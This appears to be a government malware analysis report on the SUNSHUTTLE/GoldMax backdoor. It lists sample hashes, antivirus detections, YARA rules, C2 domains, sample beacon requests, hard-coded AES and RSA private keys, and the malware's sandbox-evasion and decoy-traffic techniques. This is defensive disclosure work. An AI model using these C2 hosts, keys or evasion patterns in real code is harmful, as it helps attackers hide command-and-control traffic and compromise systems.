--Begin request--
GET /css/bootstrap.css/ HTTP/1.1
Host: 185[.]225.69.69
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]facebook.com
Accept-Encoding: gzip
--Begin request--

The malware is designed to receive a command from its C2 to allow its remote operator to download and execute files, upload files, start a command shell, and update the malware configuration data fields (overwriting the existing data in its configuration file with the new configuration data from the remote operator). The configuration data file can allow the remote operator to set a new activation date, update the number range used by its PRNG, enable and disable fake request network traffic feature, replace the existing URI and User-Agent values.

The malware contains a Base64-encoded RSA private key that may be used to decrypt the RSA Optimal Asymmetric Encryption Padding (OAEP) encrypted session key received from its C2:

--BEGIN PRIVATE KEY--
MIIEowIBAAKCAQEAn7SgleG8sxrq76pXIY/6mKi0EHfN2NVSrY1ELilCSVXUFZl4
aQTnuWPlJzRMB0aLlxl4HXyXWJLgtRT//Ar1TTai5/Z/OfP82y0cggudXhg6rc9U

fX5zykr1UNtl7Vl13nGh39YySEcMP1Eyz+L8OZ9WAs7G4+s9N7I3Di+a+ZlwG4Rs
Jb1zNrqxQlmr5bWgwRlWj0I/ngo7Ej/CjLXJNwW4LOcJu2Ok9R6SLWX1CpdvY/DD
Gi5Zdw3RzIuKDwRbUcIRApuiRxjxY/Os4+A+lhazmBsVK59KGKZZ4WckAzdrtFEm
g6VVlWjBv28PGIpXvhH+M9vUg3uPmcwXchg7wwIDAQABAoIBAEJlx2npCxnvtANm
b4k9ofM8GHjMRmHC9ve+xrzmXG++5kkAoGYRKwIRvSDahk10D+8HIMApn4assg23
KGIycB/k+j+0ZNrETLkW/UY36/pF2oeOrlLqctuE5I70WGEgk3ejCKjWFduk5jug
155EgZa3XvwV2ezCTZZNWsRkGGtyrj4AZ/vRX4rIyvMTFzm4/H5Pj6QTCUwTPt2i
ukXF7vf8MeDk4m77t7+x40nQ94I1Ti6LtzhiuRMr9Eub7GUHS8wtUq4527FOeKsC
reUDNETCmTZGnAT7KuXRNbhIKyxL/6Kep7Yb18PF5WF9Lyocx/VDHKPoOdv5pqTP
7yn0CLECgYEA0jwbgGTG5I33ghzOeAUmx2hRAPtmFTD9s/7X2vk91lmFCHqg8hVh
bbz6ELWKI9LP4XPzK4uMifJ2z3PXmNCRw4NBZy+0T132PQZd1V1x9lFOmAmiybRi
ePCPXtjVPbVQnV3F66Ad/8jv8pvxIZBYBxFGm6FF86WaoJXNKAILv4kCgYEAwnil
FKQYwOyARY5lwjY5dd04r72R3y0Wpa2b8Bo8cJjUR5VsH1XTZnmV/C+dMWhdlB8B
vNZxUOLO16hFhqu/rPEwk8RyvrHU+b89O8mnphVYSq0hEsSBMH5BUjqQiHKu+BEz
vsHb+KVJTcvRIOdrtjZJukeZ2toH9PVolpg44esCgYAffRFBcda4dOsVeesS3vKn
+1/mncD0e5oEU69RBPPWHyJl2rgwijNFlIB/8DD4nKK2Sf+qDgTGxKI3AErSgKrU
ddxd8C85lAFFsqZrRsvC8PqsmwTe4T2+j4lp02BdFcM1Ts5ONHVJ0nbeB61eMZh9
toC03rrze2JlmwpXa7cGwQKBgFUVNZx3QwE9N822xFyZHsCrff6doPGUp4DrGPuO
bv0QUGfVPw3infAKqA1Cw7J3J+IDQt5csA0kfjyqOWj3QZAnogo0e8NkyHpQKjk7
O+cVFaDuaDbu1FrkEi4ow01/Z3/O/uWpqVT687xevOt5dI2u6MjgRLcUh0CsEgs5
JEHrAoGBAL4zB1serfGXHvLO9dDiSO34w5XcVQK4E34ytM224blp16U0nz5hfSQD
WQaISJs/aqBuUgVUA3WZHZbEvKbcU5u0Ieos+rIGJrUv0tJtLgtOBmfz1q3jOKOY
qwQ6HoAHqfOC5FS6t0kBDsrssGHQTqTtrnxhL6l6oBlWWXNMxQ4g
--END PRIVATE KEY--

b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8

Tags

backdoortrojan

Details

Name	Lexicon.exe
Size	2036736 bytes
Type	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	9466c865f7498a35e4e1a8f48ef1dffd
SHA1	72e5fc82b932c5395d06fd2a655a280cf10ac9aa
SHA256	b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8
SHA512	7efa5f638b31b95637a497714b1b33b63abdd72afb035df574a195d20d37381a53f934e0908813dea513f46a4d7cda6a16a0511a721dd8e0
ssdeep	49152:Om9E2fAhvsWGCDWMcvIODKsGHgNhX69CFoGlvcpTcVIa:61lll1mlgb9aGdH
Entropy	7.874690

Antivirus

Ahnlab	Backdoor/Win32.Sunshuttle
Antiy	Trojan[Backdoor]/Win64.Agent
Avira	TR/Sunshuttle.A
BitDefender	Trojan.GenericKD.34453763
ClamAV	Win.Malware.SUNSHUTTLE-9838969-0
Comodo	Malware
Cyren	W64/Trojan.VYRP-8655
ESET	a variant of WinGo/Agent.AE trojan

Emsisoft	Trojan.GenericKD.34453763 (B)
Ikarus	Trojan.Win64.Rozena
K7	Trojan (00578be81)
Lavasoft	Trojan.GenericKD.34453763
Quick Heal	Trojan.Agent
Sophos	Troj/GoldMax-A
Symantec	Backdoor.GoldMax
TrendMicro	Backdoo.207681C5
TrendMicro House Call	Backdoo.207681C5
VirusBlokAda	Trojan.Win64.WinGo
Zillya!	Trojan.APosT.Win32.1814

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	1969-12-31 19:00:00-05:00
Import Hash	e58ab46f2a279ded0846d81bf0fa21f7

PE Sections

MD5	Name	Raw Size	Entropy
29214ad437f160f5bd92db6f746ecd8f	header	512	2.447284
d41d8cd98f00b204e9800998ecf8427e	UPX0	0	0.000000
02892067ad6acb49bb6de6eddcae1f78	UPX1	2035712	7.875271
74553568f3052911c6df3835582d3b64	UPX2	512	1.763456

Relationships

b9a2c986b6...	Contains	94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. The executable is UPX packed and when executed, the application will unpack and execute (94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45) in memory.

94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45

Tags

backdoortrojan

Details

Name	Lexicon.exeUnPacked

Size	5177856 bytes
Type	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	ab248df75dd6cc1b19329145b296421d
SHA1	dec462b578a521ac38bbe7cf10c84f1b4bd33415
SHA256	94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45
SHA512	25c458c2ec3ad87434d40a947247675fe4befb424cde5dc99645936076ed1d2b87d1ede9c43b045c11827874eaccb0b28d30bbe36354237e
ssdeep	49152:msEdwffUXL8uWH0zMoJmv2vzczcEPAizHjvPXIYXfc8N09uvO+CWh9i2H87i3FMh:dRG4u40z9BEcEPA+HjvwSqic1+A
Entropy	5.962959

Antivirus

Ahnlab	Trojan/Win64.Cobalt
Avira	TR/Sunshuttle.AF
BitDefender	Generic.GoldMax.A.0F52032B
ClamAV	Win.Malware.SUNSHUTTLE-9838970-0
Comodo	Malware
Cyren	W64/Trojan.YCHA-1477
ESET	a variant of WinGo/Agent.AE trojan
Emsisoft	Generic.GoldMax.A.0F52032B (B)
Ikarus	Trojan.Crypter
K7	Trojan (00578be81)
Lavasoft	Generic.GoldMax.A.0F52032B
Microsoft Security Essentials	Trojan:Win32/GoldMax!MSR
NANOAV	Trojan.Win64.Sunshuttle.iodoxr
Quick Heal	Trojan.Generic
Sophos	Troj/GoldMax-A
Symantec	Trojan.Gen.MBT
Systweak	trojan-backdoor.sunshuttle-r
TrendMicro	Backdoo.B97FD07F
TrendMicro House Call	Backdoo.B97FD07F
VirusBlokAda	Trojan.Glupteba
Zillya!	Trojan.Agent.Win64.7447

YARA Rules

- rule CISA_3P_10327841_02 : SOLARFLARE trojan
  {
    meta:
      Author = "CISA Trusted Third Party"
      Incident = "10327841.r1.v1"
      Date = "2021-03-04"
      Actor = "n/a"
      Category = "Trojan"
      Family = "SOLARFLARE"
      Description = "Detects strings in WindowsDSVC_exe samples"

```
    MD5_1 = "4de28110bfb88fdcdf4a0133e118d998"
    SHA256_1 = "fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836"
  strings:
    $Go_Lang = "Go build ID:"
    $main_func = "main.main"
    $main_encrypt = "main.encrypt"
    $main_MD5 = "main.GetMD5Hash"
    $main_beacon = "main.beaconing"
    $main_command = "main.resolve_command"
    $main_key1 = "main.request_session_key"
    $main_key2 = "main.retrieve_session_key"
    $main_clean = "main.clean_file"
    $main_wget = "main.wget_file"
  condition:
    (uint16(0) == 0x5A4D) and all of them
}
```

- rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor

```
{
  meta:
    Author = "FireEye"
    Date = "2021-03-04"
    Last_Modified = "20210305_1704"
    Actor = "UNC2452"
    Category = "Backdoor"
    Family = "SUNSHUTTLE"
    Description = "This rule detects strings found in SUNSHUTTLE"
    MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
    SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
  strings:
    $s1 = "main.request_session_key"
    $s2 = "main.define_internal_settings"
    $s3 = "main.send_file_part"
    $s4 = "main.clean_file"
    $s5 = "main.send_command_result"
    $s6 = "main.retrieve_session_key"
    $s7 = "main.save_internal_settings"
    $s8 = "main.resolve_command"
    $s9 = "main.write_file"
    $s10 = "main.beaconing"
    $s11 = "main.wget_file"
    $s12 = "main.fileExists"
    $s13 = "main.removeBase64Padding"
    $s14 = "main.addBase64Padding"
    $s15 = "main.delete_empty"
    $s16 = "main.GetMD5Hash"
  condition:
    filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
}
```

- rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor

```
{
  meta:
    Author = "FireEye"
    Date = "2021-03-04"
    Last_Modified = "20210305_1704"
    Actor = "UNC2452"
    Category = "Backdoor"
    Family = "SUNSHUTTLE"
    Description = "This rule detects strings found in SUNSHUTTLE"
    MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
    SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
  strings:
```

```
        $s1 = "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk"
        $s2 = "LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ"
        $s3 = "Go build ID: \""
    condition:
        filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
}
```

ssdeep Matches

No matches found.

PE Metadata

Compile Date	1969-12-31 19:00:00-05:00
Import Hash	91802a615b3a5c4bcc05bc5f66a5b219

PE Sections

MD5	Name	Raw Size	Entropy
8ff4385790edf4dc360cdf709edefacb	header	1536	1.209291
e7c248921feb7147df53d3c4c1c4481f	.text	2402816	5.902294
d6a5f7faecd7889cd4463e7dca0c1bb0	.rdata	2510848	5.344525
842570d7d75648b08153f61c3ad2db42	.data	260608	5.551951
99830eca3610cfe7885679f26396b285	.idata	1536	2.879055
07b5472d347d42780469fb2654b7fc54	.symtab	512	0.020393

Relationships

94c58c7fb4...	Connected_To	reyweb.com
94c58c7fb4...	Contained_Within	b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8

Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample "Lexicon.exe" (b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8). The application is written in the Golang (Go) open-source language. When executed, the malware terminates its code execution if the victim's system MAC address is equal to a hard-coded Hyper-V sandbox default MAC address value: "c8:27:cc:c2:37:5a." If not, the malware will proceed to check if the file "%current directory%\config.dat.tmp" is installed on the compromised system. If the file is not installed, it will create and encrypt a configuration data using the AES-256 encryption algorithm with the hard-coded key: "hz8l2fnpvp71ujfy8rht6b0smouvp9k8." The encrypted data is Base64 encoded using the custom Base64 alphabet ("=" replaced with null) before stored into "config.dat.tmp" in the current directory.

Displayed below is the format of the configuration before being encrypted and encoded:

--Begin configuration data--
Format: MD5 hash of the current time|5-15|0|0|base64 encoded user-agent string
Sample observed: d2ed208623fa66d2e5372c27c9230fb8|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC
--End configuration data--

The configuration contains: MD5 hash of the current time | the number range used by its PRNG | enable and disable fake request network traffic feature | activation date| Base64 encoded user-agent string used for the requests| padding bytes.

It will attempt to send an HTTP GET request to its C2 server for a session key. The GET request contains a custom cookie (unique identifier value for the implant) for authentication, hard-coded User-Agent string and pseudo-randomly selected HTTP referer value from a list of websites below for masking C2 traffic:

--Begin randomized HTTP referer--
www[.]bing.com

www[.]google.com
www[.]facebook.com
www[.]yahoo.com
--End randomized HTTP referer--

It contains the following hard-coded legitimate and C2 URIs:

--Begin C2 URIs--
https[:]//reyweb.com/icon.ico
https[:]//reyweb.com/icon.png
https[:]//reyweb.com/script.js
https[:]//reyweb.com/style.css
https[:]//reyweb.com/css/style.css
https[:]//reyweb.com/assets/index.php
https[:]//reyweb.com/css/bootstrap.css
https[:]//reyweb.com/scripts/jquery.js
https[:]//reyweb.com/scripts/bootstrap.js
--End C2 URIs--

--Begin legitimate URIs--
https[:]//ssl.gstatic.com/ui/v3/icons
https[:]//cdn.cloudflare.com
https[:]//cdn.mxpnl.com
https[:]//cdn.google.com
https[:]//cdn.jquery.com/index
--End legitimate URIs--

Displayed below is a sample GET request for a session key:

--Begin sample request --
GET /assets/index.php HTTP/1.1
Host: reyweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=d2ed208623fa66d2e5372c27c9230fb8; P5hCrabkKf=gZLXIeKI;
iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www[.]yahoo.com
Accept-Encoding: gzip
--End sample request --

The response payload was not available for analysis.

Analysis indicates that after receiving the response payload from its C2, it will send another HTTP GET request to its C2 similar to the above GET request. The only difference being the value of one of the cookies. The malware sends the following traffic to blend in with real traffic if the fake request network traffic feature in the configuration is enabled (set to 1):

Displayed below are sample requests:

--Begin request--
GET /ui/v3/icons HTTP/1.1
Host: ssl[.]gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]google.com
Accept-Encoding: gzip
--End request--

--Begin request--
GET /css/bootstrap.css HTTP/1.1
Host: reyweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]facebook.com
Accept-Encoding: gzip
--End request--

The malware is designed to receive a command from its C2 to allow its remote operator to download and execute files, upload files, start a command shell, and update the malware configuration data fields (overwriting the existing data in its configuration file with the new configuration data from the remote operator). The configuration data file can allow the remote operator to set a new activation date, update the number range used by its PRNG, enable and disable fake request network traffic feature, replace the existing URI and User-Agent values.

The malware contains a Base64-encoded RSA private key that may be used to decrypt the RSA OAEP encrypted session key received from its C2:

--BEGIN PRIVATE KEY--
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK
uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
--END PRIVATE KEY--

reyweb.com

Tags

command-and-control

URLs

- reyweb.com/assets/index.php
- reyweb.com/css/bootstrap.css
- reyweb.com/css/style.css
- reyweb.com/icon.ico
- reyweb.com/icon.png
- reyweb.com/script.js
- reyweb.com/scripts/bootstrap.js
- reyweb.com/scripts/jquery.js
- reyweb.com/style.css

HTTP Sessions

- GET /assets/index.php HTTP/1.1
  Host: reyweb.com
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
  Cookie: HjELmFxKJc=d2ed208623fa66d2e5372c27c9230fb8; P5hCrabkKf=gZLXIeKI;
  iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78

Referer: www[.]yahoo.com
Accept-Encoding: gzip

- GET /assets/index.php HTTP/1.1
  Host: reyweb.com
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
  Cookie: HjELmFxKJc=f27616f33730acfea04a05e53081d1ec; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
  Referer: www[.]facebook.com
  Accept-Encoding: gzip

Whois

Domain Name: REYWEB.COM
Registry Domain ID: 1620703932_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: http://www.namesilo.com
Updated Date: 2020-04-30T08:57:06Z
Creation Date: 2010-10-16T18:54:19Z
Registry Expiry Date: 2021-10-16T18:54:19Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: NS1.CP-19.WEBHOSTBOX.NET
Name Server: NS2.CP-19.WEBHOSTBOX.NET
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2021-03-04T17:32:23Z <

Relationships

reyweb.com	Connected_From	94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45

Description

"Lexicon.exe" (b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8) attempts to connect to this domain.

ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def

Tags

trojan

Details

Name	SchCachedSvc.exe
Size	2037248 bytes
Type	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	3efff3415e878d8f23f3c51cf1acfd1b
SHA1	81cbbd07e8cd7ac171590304946003f9c02f5164
SHA256	ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def
SHA512	d15f14af7dbe77d956adb05b3d4d67b401cb068a31392c45f64b2fe5a213a6f60bce4656d49375443ef165e276ccb5e98ce0c45b16842c3b2
ssdeep	49152:AbHM13VNy7Pcp00wMpC7+UuqGkyH0NFcCFqko37hWq:AbHexxwMpC7+Uuf7yaES7hWq
Entropy	7.874807

Antivirus

BitDefender	Gen:Variant.Bulz.370300
ESET	a variant of WinGo/Agent.AE trojan
Emsisoft	Gen:Variant.Bulz.370300 (B)
Ikarus	Trojan.Win64.Rozena
Lavasoft	Gen:Variant.Bulz.370300
Microsoft Security Essentials	Trojan:Win64/GoldMax.A!dha
Sophos	Mal/GoldMax-A

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	1969-12-31 19:00:00-05:00
Import Hash	e58ab46f2a279ded0846d81bf0fa21f7

PE Sections

MD5	Name	Raw Size	Entropy
c48f92bd3dd2069ef2edcdb22bd65fa1	header	512	2.494140
d41d8cd98f00b204e9800998ecf8427e	UPX0	0	0.000000
0aaa15e9aae3304d555536a90dab1223	UPX1	2036224	7.875386
8b4f623319b09fd4b7d5fcdc5179f6ee	UPX2	512	1.763456

Relationships

ec5f07c169...	Connected_To	nikeoutletinc.org

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware.

On execution, the behavior is nearly identical to bootcats.exe (4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec). It produced the same number of events, with only slight variation in order of file names. It is likely another iteration of this sample.

Upon execution, drops file “config.data.tmp” in the same directory the executable is running. Sample filename mimics the name of other benign windows service executable. Initiates encrypted network traffic to “nikeoutletinc.org” using TLSv1.3 to create a secure connection with C2. config.data.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

File is packed with UPX. Displayed below is a string of interest:

--Begin string of interest--
Go build ID: "yytqyhV7XNSuSZRXAADu/FzAnsR7anW_XvSXcBCS2/4f91rfQD47Q6E02u8kC8/_t-YMsh7fECr1GVsP3F7x"
hxxps[:]//cdn.bootstrap.com/id (%v) <= evictCount (%v)initSpan: unaligned lengthinvalid argument to Int31ninvalid argument to Int63ninvalid port %q after hostinvalid request descriptormalformed HTTP status codemalformed chunked

encodingname not unique on network
--End string of interest--

4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec

Tags

backdoortrojan

Details

Name	bootcats.exe
Size	5178368 bytes
Type	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	7f3a0c0a72b661ad8eaf579789530634
SHA1	d11a1fa8811781ad17253d47f23044994f691739
SHA256	4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec
SHA512	fed911ea264ca3f69fd28b4ce808fc185732ad99bb4b5f9167103e76694d4306a5f3af1d1b9aca5074b2aa72b2ec4909495cb2a018c0f47515
ssdeep	49152:YQ4uataXvwDOvdk6NDv0U/u3BT1OZutqIpYFDkciESn1KNJQvJiLxETsL0qoIqxk:L5gOwOq6NYbSZutqIpYIcmvpw7+A
Entropy	5.960173

Antivirus

BitDefender	Gen:Variant.Bulz.370300
ClamAV	Win.Malware.SUNSHUTTLE-9838970-0
ESET	a variant of WinGo/Agent.AE trojan
Emsisoft	Gen:Variant.Bulz.370300 (B)
Ikarus	Trojan.Crypter
Lavasoft	Gen:Variant.Bulz.370300
Microsoft Security Essentials	Trojan:Win64/GoldMax.A!dha
Sophos	Mal/GoldMax-A
Systweak	trojan-backdoor.sunshuttle-r

YARA Rules

```
rule CISA_3P_10327841_02 : SOLARFLARE trojan
{
  meta:
    Author = "CISA Trusted Third Party"
    Incident = "10327841.r1.v1"
    Date = "2021-03-04"
    Actor = "n/a"
    Category = "Trojan"
    Family = "SOLARFLARE"
    Description = "Detects strings in WindowsDSVC_exe samples"
    MD5_1 = "4de28110bfb88fdcdf4a0133e118d998"
    SHA256_1 = "fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836"
  strings:
    $Go_Lang = "Go build ID:"
    $main_func = "main.main"
    $main_encrypt = "main.encrypt"
    $main_MD5 = "main.GetMD5Hash"
```

```
    $main_beacon = "main.beaconing"
    $main_command = "main.resolve_command"
    $main_key1 = "main.request_session_key"
    $main_key2 = "main.retrieve_session_key"
    $main_clean = "main.clean_file"
    $main_wget = "main.wget_file"
  condition:
    (uint16(0) == 0x5A4D) and all of them
}
```

- rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor

```
{
  meta:
    Author = "FireEye"
    Date = "2021-03-04"
    Last_Modified = "20210305_1704"
    Actor = "UNC2452"
    Category = "Backdoor"
    Family = "SUNSHUTTLE"
    Description = "This rule detects strings found in SUNSHUTTLE"
    MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
    SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
  strings:
    $s1 = "main.request_session_key"
    $s2 = "main.define_internal_settings"
    $s3 = "main.send_file_part"
    $s4 = "main.clean_file"
    $s5 = "main.send_command_result"
    $s6 = "main.retrieve_session_key"
    $s7 = "main.save_internal_settings"
    $s8 = "main.resolve_command"
    $s9 = "main.write_file"
    $s10 = "main.beaconing"
    $s11 = "main.wget_file"
    $s12 = "main.fileExists"
    $s13 = "main.removeBase64Padding"
    $s14 = "main.addBase64Padding"
    $s15 = "main.delete_empty"
    $s16 = "main.GetMD5Hash"
  condition:
    filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
}
```

- rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor

```
{
  meta:
    Author = "FireEye"
    Date = "2021-03-04"
    Last_Modified = "20210305_1704"
    Actor = "UNC2452"
    Category = "Backdoor"
    Family = "SUNSHUTTLE"
    Description = "This rule detects strings found in SUNSHUTTLE"
    MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
    SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
  strings:
    $s1 = "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk"
    $s2 = "LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ"
    $s3 = "Go build ID: \""
  condition:
    filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
}
```

ssdeep Matches

No matches found.

PE Metadata

Compile Date	1969-12-31 19:00:00-05:00
Import Hash	91802a615b3a5c4bcc05bc5f66a5b219

PE Sections

MD5	Name	Raw Size	Entropy
7a1607fa13e952f0074d14da6640799e	header	1536	1.254058
82e920a576c08a7fff8d28fe7f3e93a4	.text	2402816	5.901993
7c4531cb3e331f4a36a1ac2b77022169	.rdata	2511360	5.340532
69aaf44b0f374f9e66eb65c779a77528	.data	260608	5.551012
f981b67cbc5a081af39bedc1eb2fe60b	.idata	1536	3.414430
07b5472d347d42780469fb2654b7fc54	.symtab	512	0.020393

Relationships

4e8f24fb50...	Connected_To	megatoolkit.com
4e8f24fb50...	Dropped	bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. It is unique in that it does not appear to be packed, unlike other GoldMax samples, which were packed with UPX. It was observed beginning to beacon after remediation efforts began on the compromised network.

Upon execution, drops file “runlog.dat.tmp” (bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df) in the same directory the executable is running. Sample filename mimics the name of other benign windows service executable. Initiates encrypted network traffic to “megatoolkit.com” using TLSv1.3 to create a secure connection with C2. Runlog.dat.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

megatoolkit.com

Tags

command-and-control

URLs

- megatoolkit.com/catalog/
- megatoolkit.com/icon.ico
- megatoolkit.com/icon.pngi19TotqC9iD8Y0B7jcGnpp5hYcyjg4cL

Whois

Domain Name: megatoolkit.com
Registry Domain ID: 2344043124_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: https://www.namesilo.com/
Updated Date: 2020-12-16T07:00:00Z
Creation Date: 2018-12-17T07:00:00Z
